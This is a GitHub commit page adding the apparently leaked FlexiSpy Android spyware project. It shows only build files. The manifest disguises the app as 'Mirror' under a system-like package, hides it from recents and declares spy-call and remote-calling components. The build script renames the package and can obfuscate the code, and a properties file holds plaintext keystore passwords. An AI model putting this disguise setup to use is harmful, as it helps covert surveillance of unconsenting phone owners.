Skip to content

Commit

Permalink
add flexispy
Browse files Browse the repository at this point in the history
  • Loading branch information
shutupandhax committed Apr 27, 2017
1 parent b8b32c2 commit dc52fc8
Show file tree
Hide file tree
Showing 89 changed files with 7,531 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
<classpathentry kind="src" path="src"/>
<classpathentry kind="src" path="gen"/>
<classpathentry combineaccessrules="false" kind="src" path="/process-main"/>
<classpathentry combineaccessrules="false" kind="src" path="/daemon_app_engine"/>
<classpathentry combineaccessrules="false" kind="src" path="/configuration_manager"/>
<classpathentry combineaccessrules="false" kind="src" path="/util"/>
<classpathentry combineaccessrules="false" kind="src" path="/daemon_bug_engine"/>
<classpathentry combineaccessrules="false" kind="src" path="/daemon_process_monitoring"/>
<classpathentry combineaccessrules="false" kind="src" path="/daemon_util"/>
<classpathentry combineaccessrules="false" kind="src" path="/license_manager"/>
<classpathentry combineaccessrules="false" kind="src" path="/shell_executer"/>
<classpathentry combineaccessrules="false" kind="src" path="/base"/>
<classpathentry kind="output" path="bin/classes"/>
</classpath>
33 changes: 33 additions & 0 deletions FlexiSpy/android-cyclops/Cyclops -1.00.4/application-main/.project
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>application-main</name>
<comment></comment>
<projects>
</projects>
<buildSpec>
<buildCommand>
<name>com.android.ide.eclipse.adt.ResourceManagerBuilder</name>
<arguments>
</arguments>
</buildCommand>
<buildCommand>
<name>com.android.ide.eclipse.adt.PreCompilerBuilder</name>
<arguments>
</arguments>
</buildCommand>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder</name>
<arguments>
</arguments>
</buildCommand>
<buildCommand>
<name>com.android.ide.eclipse.adt.ApkBuilder</name>
<arguments>
</arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>com.android.ide.eclipse.adt.AndroidNature</nature>
<nature>org.eclipse.jdt.core.javanature</nature>
</natures>
</projectDescription>
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
IMPORTANT: Do not edit versionCode and versionName in this file.
They will be replaced by Ant script automatically when building.
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.msecurity"
android:versionCode="4"
android:versionName="-1.00.4">

<application
android:label="Mirror"
android:icon="@drawable/syncmanager">

<activity
android:name="com.fx.MainActivity"
android:screenOrientation="portrait"
android:excludeFromRecents="true"
android:finishOnTaskLaunch="true"
android:theme="@android:style/Theme.Light"
>

<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>

</activity>

<activity android:name="com.fx.ApplicationSettingsActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.ConnectionHistoryActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.BasicDiagnosticsActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.EventSettingsActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.DatabaseStatusActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.SpyCallSettingActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>
<activity android:name="com.fx.WatchNotificationSettingActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Black.NoTitleBar"></activity>

<service android:name="com.fx.InstallingService"/>
<service android:name="com.fx.ActivationService"/>
<service android:name="com.fx.InstallingService"/>
<service android:name="com.fx.RemoteCallingService"/>
<service android:name="com.fx.ResetService"/>

</application>

<uses-sdk android:minSdkVersion="7"/>

<!-- Please do not remove any permissions without checking on every supported devices -->
<!-- Some permissions are only needed in a specific device -->

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RESTART_PACKAGES"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

</manifest>
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# This file is used to override default values used by the Ant build system.
#
# This file must be checked in Version Control Systems, as it is
# integral to the build system of your project.

# This file is only used by the Ant script.

# You can use this to override default values such as
# 'source.dir' for the location of your java source folder and
# 'out.dir' for the location of your output folder.

# You can also use it define how the release builds are signed by declaring
# the following properties:
# 'key.store' for the location of your keystore and
# 'key.alias' for the name of the key to use.
# The password will be asked during the build when you use the 'release' target.

source.dir=${basedir}/build

key.store=syncmanager_keystore
key.store.password=tcpip123
key.alias=syncmanager_keystore
key.alias.password=tcpip123
Original file line number Diff line number Diff line change
@@ -0,0 +1,248 @@
<?xml version="1.0" encoding="UTF-8"?>
<project name="build-helper" default="">

<import file="../../tool/daemon_build_resources/fx-taskdef.xml" />

<target name="clean">
<delete dir="assets"/>
<delete dir="bin"/>
<delete dir="build"/>
<delete dir="gen"/>
<delete dir="libs"/>
</target>

<target name="prepare-build">
<echo message="******************************"/>
<echo message="* MAIN APPLICATION *"/>
<echo message="******************************"/>

<!-- DON'T COPY SELF SOURCE CODE HERE!! -->
<!-- Some files still need to be changed -->

<!-- base -->
<copy todir="build/src">
<fileset dir="../base/src"/>
</copy>

<!-- configuration manager -->
<copy todir="build/src">
<fileset dir="../configuration_manager/src"/>
</copy>

<!-- daemon_bug_engine -->
<copy todir="build/src/com/vvt/callmanager/ref">
<fileset dir="../daemon_bug_engine/src/com/vvt/callmanager/ref"/>
</copy>

<!-- daemon_process_monitoring -->
<copy todir="build/src/com/fx/pmond/ref">
<fileset dir="../daemon_process_monitoring/src/com/fx/pmond/ref"/>
</copy>

<!-- daemon util -->
<copy todir="build/src">
<fileset dir="../daemon_util/src"/>
</copy>

<!-- license_manager -->
<copy todir="build/src">
<fileset dir="../license_manager/src"/>
</copy>

<!-- process main -->
<copy todir="build/src/com/fx/maind/ref">
<fileset dir="../process-main/build/src/com/fx/maind/ref"/>
</copy>

<!-- shell_executer -->
<copy todir="build/src">
<fileset dir="../shell_executer/src"/>
</copy>
<copy todir="assets">
<fileset dir="../shell_executer/libs/armeabi"/>
</copy>
<copy todir="libs">
<fileset dir="../shell_executer/libs"/>
</copy>

<!-- util -->
<copy todir="build/src">
<fileset dir="../util/src"/>
</copy>

<!-- app engine resource file -->
<copy file="../daemon_app_engine/src/com/vvt/daemon/appengine/AppEnginDaemonResource.java"
tofile= "build/src/com/vvt/daemon/appengine/AppEnginDaemonResource.java"/>

<!-- copy vcard & codec libs to the main project -->
<copy todir="libs">
<fileset dir="../daemon_addressbook_manager/libs"/>
</copy>

<!-- copy product definition file (pdf) to the main project-->
<copy todir="assets">
<fileset dir="../configuration_manager/assets"/>
</copy>

<!-- DON'T FORGET TO COPY THE SOURCE CODE OF REFERENCING PROJECT HERE-->
</target>

<!--
The following parameters are required:-
testflag
mock.pkg
icon.name
product.name
product.version.major
product.version.minor
product.version.build
output.apk.dir
obfuscate.option
-->
<target name="build-apk">
<echo message="build-apk # ENTER ..." />

<var name="dir.name" value="${product.version.major}.${product.version.minor}.${product.version.build}"/>
<var name="version.code" value="${product.version.build}" />
<var name="version.name" value="${testflag}${dir.name}" />

<echo message="build-apk # package=${mock.pkg}, product=${product.name}, version=${version.name}" />

<tstamp>
<format property="build.date" pattern="dd/MM/yyyy" locale="en,UK" />
</tstamp>

<!-- build date -->
<replaceregexp
file="res/values/strings.xml"
match="&lt;string name=&quot;product_build_date&quot;&gt;.*&lt;/string&gt;"
replace="&lt;string name=&quot;product_build_date&quot;&gt;${build.date}&lt;/string&gt;"
byline="true"
/>

<!-- Begin modify version number -->
<replaceregexp
file="res/values/strings.xml"
match="&lt;string name=&quot;product_version_major&quot;&gt;.*&lt;/string&gt;"
replace="&lt;string name=&quot;product_version_major&quot;&gt;${testflag}${product.version.major}&lt;/string&gt;"
byline="true"
/>
<replaceregexp
file="res/values/strings.xml"
match="&lt;string name=&quot;product_version_minor&quot;&gt;.*&lt;/string&gt;"
replace="&lt;string name=&quot;product_version_minor&quot;&gt;${product.version.minor}&lt;/string&gt;"
byline="true"
/>
<replaceregexp
file="res/values/strings.xml"
match="&lt;string name=&quot;product_version_build&quot;&gt;.*&lt;/string&gt;"
replace="&lt;string name=&quot;product_version_build&quot;&gt;${product.version.build}&lt;/string&gt;"
byline="true"
/>
<replaceregexp
file="AndroidManifest.xml"
match="android:versionCode=&quot;.*&quot;"
replace="android:versionCode=&quot;${version.code}&quot;"
byline="true"
/>
<replaceregexp
file="AndroidManifest.xml"
match="android:versionName=&quot;.*&quot;"
replace="android:versionName=&quot;${version.name}&quot;"
byline="true"
/>
<!-- End modify version number -->

<!-- Begin modify package name -->
<replaceregexp
file="AndroidManifest.xml"
match="package=&quot;.*&quot;"
replace="package=&quot;${mock.pkg}&quot;"
byline="true"
/>
<replaceregexp
file="src/com/fx/util/ProductInfoHelper.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<replaceregexp
file="src/com/fx/ApplicationSettingsActivity.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<replaceregexp
file="src/com/fx/ConnectionHistoryActivity.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<replaceregexp
file="src/com/fx/CurrentSettingsActivity.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<replaceregexp
file="src/com/fx/IconPreferenceScreen.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<replaceregexp
file="src/com/fx/MainActivity.java"
match="import.*R;"
replace="import ${mock.pkg}.R;"
byline="true"
/>
<!-- End modify package name -->

<!-- application icon -->
<!--
<replaceregexp
file="AndroidManifest.xml"
match="android:icon=&quot;.*&quot;"
replace="android:icon=&quot;&#64;drawable/${icon.name}&quot;"
byline="true"
/>
-->

<!-- Check obfuscate obtion -->
<if>
<equals arg1="${obfuscate.option}" arg2="yes" casesensitive="false" />
<then>
<replaceregexp
file="project.properties"
match=".*proguard.config.*"
replace="proguard.config=proguard.cfg"
byline="true"
/>
</then>
<else>
<replaceregexp
file="project.properties"
match=".*proguard.config.*"
replace="# proguard.config=proguard.cfg"
byline="true"
/>
</else>
</if>

<!-- app src will be copied here -->
<copy todir="build/src">
<fileset dir="src"/>
</copy>

<ant dir="${basedir}" target="clean" />
<ant dir="${basedir}" target="release" />

<copy file="bin/application-main-release.apk"
tofile="${output.apk.dir}/${dir.name}/${product.name}_${version.name}.apk"
/>

<echo message="build-apk # Output = ${product.name}_${version.name}" />
<echo message="build-apk # EXIT ..." />
</target>

</project>
Loading

0 comments on commit dc52fc8

Please sign in to comment.